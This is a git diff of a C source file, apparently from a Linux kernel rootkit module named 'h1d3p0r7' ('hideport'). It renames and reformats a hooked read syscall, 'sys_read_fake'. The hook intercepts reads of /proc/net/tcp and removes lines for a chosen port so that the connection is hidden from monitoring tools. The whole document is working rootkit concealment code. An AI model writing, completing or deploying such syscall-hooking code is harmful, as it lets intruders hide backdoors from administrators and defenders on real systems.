diff --git a/src/h1d3p0r7.c b/src/h1d3p0r7.c
index f16e715..026f7b5 100644
--- a/src/h1d3p0r7.c
+++ b/src/h1d3p0r7.c
@@ -23,6 +23,11 @@
 *******************************************************************************/
 #include "h1d3p0r7.h"
 
+/**** var **********************************************************************
+*******************************************************************************/
+
+sys_read_ptr sys_read_orig;
+
 /*******************************************************************************/
 
 /***  FUNCTION  ****************************************************************
@@ -32,8 +37,8 @@
 *       RETURNS:
 *******************************************************************************/
 
-asmlinkage long hacked_read(unsigned int fd, char __user *buf,
-                            size_t count)
+asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
+                              size_t count)
 {
 	long result, bp, diff_in_bytes;
 	char *kbuf, *start_line, *end_line, *port_num;
@@ -43,47 +48,59 @@ asmlinkage long hacked_read(unsigned int fd, char __user *buf,
 	struct path file_path;
 
 	// run real read
-	result = (*orig_read)(fd,buf,count);
-	if (result <= 0)
+	result = (*sys_read_orig)(fd, buf, count);
+
+	if (result <= 0){
 		return result;
+	}
+
 
-	// get pathname
-	// CITATION [8] from report
 	current_files = current->files;
 	files_table = files_fdtable(current_files);
 
 	file_path = files_table->fd[fd]->f_path;
-	pathname = d_path(&file_path,pbuf,256*sizeof(char));
-	// if virtual file /proc/net/tcp
-	if (!strncmp(pathname,"/proc/",6) && !strcmp(pathname+10,"/net/tcp")) {
-		// copy from user to kernelspace;
-		if (!access_ok(VERIFY_READ,buf,result))
+	pathname = d_path(&file_path, pbuf, 256*sizeof(char));
+
+
+	if (!strncmp(pathname, "/proc/", 6) && !strcmp(pathname + 10, "/net/tcp")) {
+
+		if (!access_ok(VERIFY_READ, buf, result)){
 			return -1;
-		if ((kbuf = kmalloc(result,GFP_KERNEL)) == NULL)
+		}
+		if ((kbuf = kmalloc(result, GFP_KERNEL)) == NULL){
 			return -1;
-		if (copy_from_user(kbuf,buf,result))
+		}
+		if (copy_from_user(kbuf, buf, result)){
 			return -1;
+		}
+
 
-		// filter out hidden ports
-		start_line = strchr(kbuf,':') - 4; // skip first line
+		start_line = strchr(kbuf, ':') - 4;
 		diff_in_bytes = (start_line - kbuf) * sizeof(char);
+
 		for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
+
 			start_line = kbuf + bp;
-			port_num = strchr(strchr(start_line,':') + 1,':') + 1;
-			end_line = strchr(start_line,'\n');
+			port_num = strchr(strchr(start_line, ':') + 1, ':') + 1;
+			end_line = strchr(start_line, '\n');
 			diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
-			if (!strncmp(port_num,HIDE_PORT,4)) { // if magic port
-				memmove(start_line,end_line + 1, // delete line in file
-					result - bp - diff_in_bytes);
+
+			if (!strncmp(port_num, DEFAULT_PORT_HEX, 4)) {
+
+				memmove(start_line, end_line + 1,
+						result - bp - diff_in_bytes);
+
 				result -= diff_in_bytes;
 			}
 		}
 
 		// copy from kernel to userspace
-		if (!access_ok(VERIFY_WRITE,buf,result))
+		if (!access_ok(VERIFY_WRITE, buf, result)){
 			return EINVAL;
-		if (copy_to_user(buf,kbuf,result))
+		}
+		if (copy_to_user(buf, kbuf, result)){
 			return EINVAL;
+		}
 		kfree(kbuf);
 	}
 	// return number of bytes read